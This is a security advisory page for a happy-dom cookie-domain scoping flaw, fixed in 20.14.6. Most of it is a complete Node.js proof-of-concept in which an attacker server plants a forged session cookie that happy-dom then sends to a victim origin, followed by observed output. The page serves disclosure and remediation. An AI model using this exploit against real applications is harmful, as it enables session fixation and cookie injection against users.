GHSA-5fpq-26gf-qwcr: Medium severity npm/happy-dom vulnerability

Published Oct 28, 2026
·
Updated

Summary A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run: bash node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js): js // PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation // Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1) // -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1) // -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL) // -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie // Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js const http = require('http'); const { Window } = require('happy-dom');

const ATKPORT = 19311; // attacker server, 127.0.0.1 const VICPORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = session=FORGEDBYATTACKER; Domain=localhost; Path=/; SameSite=None; Secure;

const attacker = http.createServer((req, res) => { if (req.method === 'OPTIONS') { // CORS preflight (happy-dom enforces same-origin policy with a preflight; the // attacker trivially answers it — an attacker-controlled server always can) res.writeHead(204, { 'Access-Control-Allow-Origin': '', 'Access-Control-Allow-Methods': 'GET, OPTIONS', 'Access-Control-Allow-Headers': '' }); res.end(); return; } res.writeHead(200, { 'content-type': 'image/gif', 'Access-Control-Allow-Origin': '', // Attacker claims Domain=localhost even though it is serving from 127.0.0.1. // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of // the request-host; localhost is also on the Mozilla PSL). 'Set-Cookie': attackerSetCookie }); res.end('GIF89a'); });

const victim = http.createServer((req, res) => { victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null }); res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ ok: true, user: 'alice' })); });

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) { victimReceivedCookies = []; const win = new Window({ url: http://localhost:${VICPORT}/, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); try { if (scenario === 'no-plant-control') { // Control: app NEVER contacts attacker -> victim must receive NO cookie await win.fetch(http://localhost:${VICPORT}/api/account); } else if (scenario === 'honest-domain-control') { // Control: attacker sets Domain=127.0.0.1 (its own host, honest) // -> cookie must NOT leak to localhost victim attackerSetCookie = session=FORGEDBYATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure; await win.fetch(http://127.0.0.1:${ATKPORT}/plant); await win.fetch(http://localhost:${VICPORT}/api/account); } else { // attack: app fetches attacker content (scraping/SSR/third-party resource) await win.fetch(http://127.0.0.1:${ATKPORT}/plant); await win.fetch(http://localhost:${VICPORT}/api/account); } await sleep(150); return victimReceivedCookies; } finally { win.happyDOM.abort(); } }

async function main() { await new Promise((r) => attacker.listen(ATKPORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VICPORT, 'localhost', r));

console.log('=== happy-dom cookie-domain scoping PoC ===\n');

const attack = await runScenario('attack'); console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)'); attack.forEach((e) => console.log( victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)})); const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGEDBYATTACKER')); console.log( -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'});

const noPlant = await runScenario('no-plant-control'); console.log('\n[CONTROL] app never contacts attacker'); noPlant.forEach((e) => console.log( victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}));

const honest = await runScenario('honest-domain-control'); console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only'); honest.forEach((e) => console.log( victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}));

// unit proof: document.cookie setter also accepts non-suffix domains (browser rejects) const win2 = new Window({ url: http://localhost:${VICPORT}/, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); win2.document.cookie = admin=1; Domain=com; Path=/; // PSL public suffix! const readBack = win2.document.cookie; console.log(\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'); console.log( -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}); win2.happyDOM.abort();

// unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain) const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js'); const matchesBoundary = CookieURLUtility.cookieMatchesURL( { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' }, new URL('https://notexample.com/') ); console.log(\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}); console.log( -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match);

attacker.close(); victim.close(); process.exit(0); }

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows): [UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Affected Software

1 affected componentFixes available
npm/happy-dom<=20.14.5
20.14.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/happy-dom to a version that resolves this vulnerability.

    Fixed in 20.14.6

Event History

Oct 28, 2026
Advisory Published
via GitHub·09:06 PM
Data Sourced
via GitHub·09:06 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are realistically exposed?

The issue is relevant where happy-dom is used to handle cookies during server-side rendering or prerendering. It concerns happy-dom's cookie handling rather than browser cookie behavior.

2

What does an attacker need to exploit this behavior?

An attacker needs to cause a response from an attacker-controlled origin to set a cookie with a Domain attribute that is an invalid DNS suffix match for the victim host. happy-dom may accept that cookie when the host merely ends with the supplied domain string, allowing the cookie to later be sent to the victim origin.

3

How can I check whether the behavior is present?

Test whether a cookie with Domain=example.com matches http://notexample.com; browser-compatible behavior should reject the match. The advisory reports that happy-dom 20.11.6, identified as the npm latest version at verification time, returned true for cookieMatchesURL in this case.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203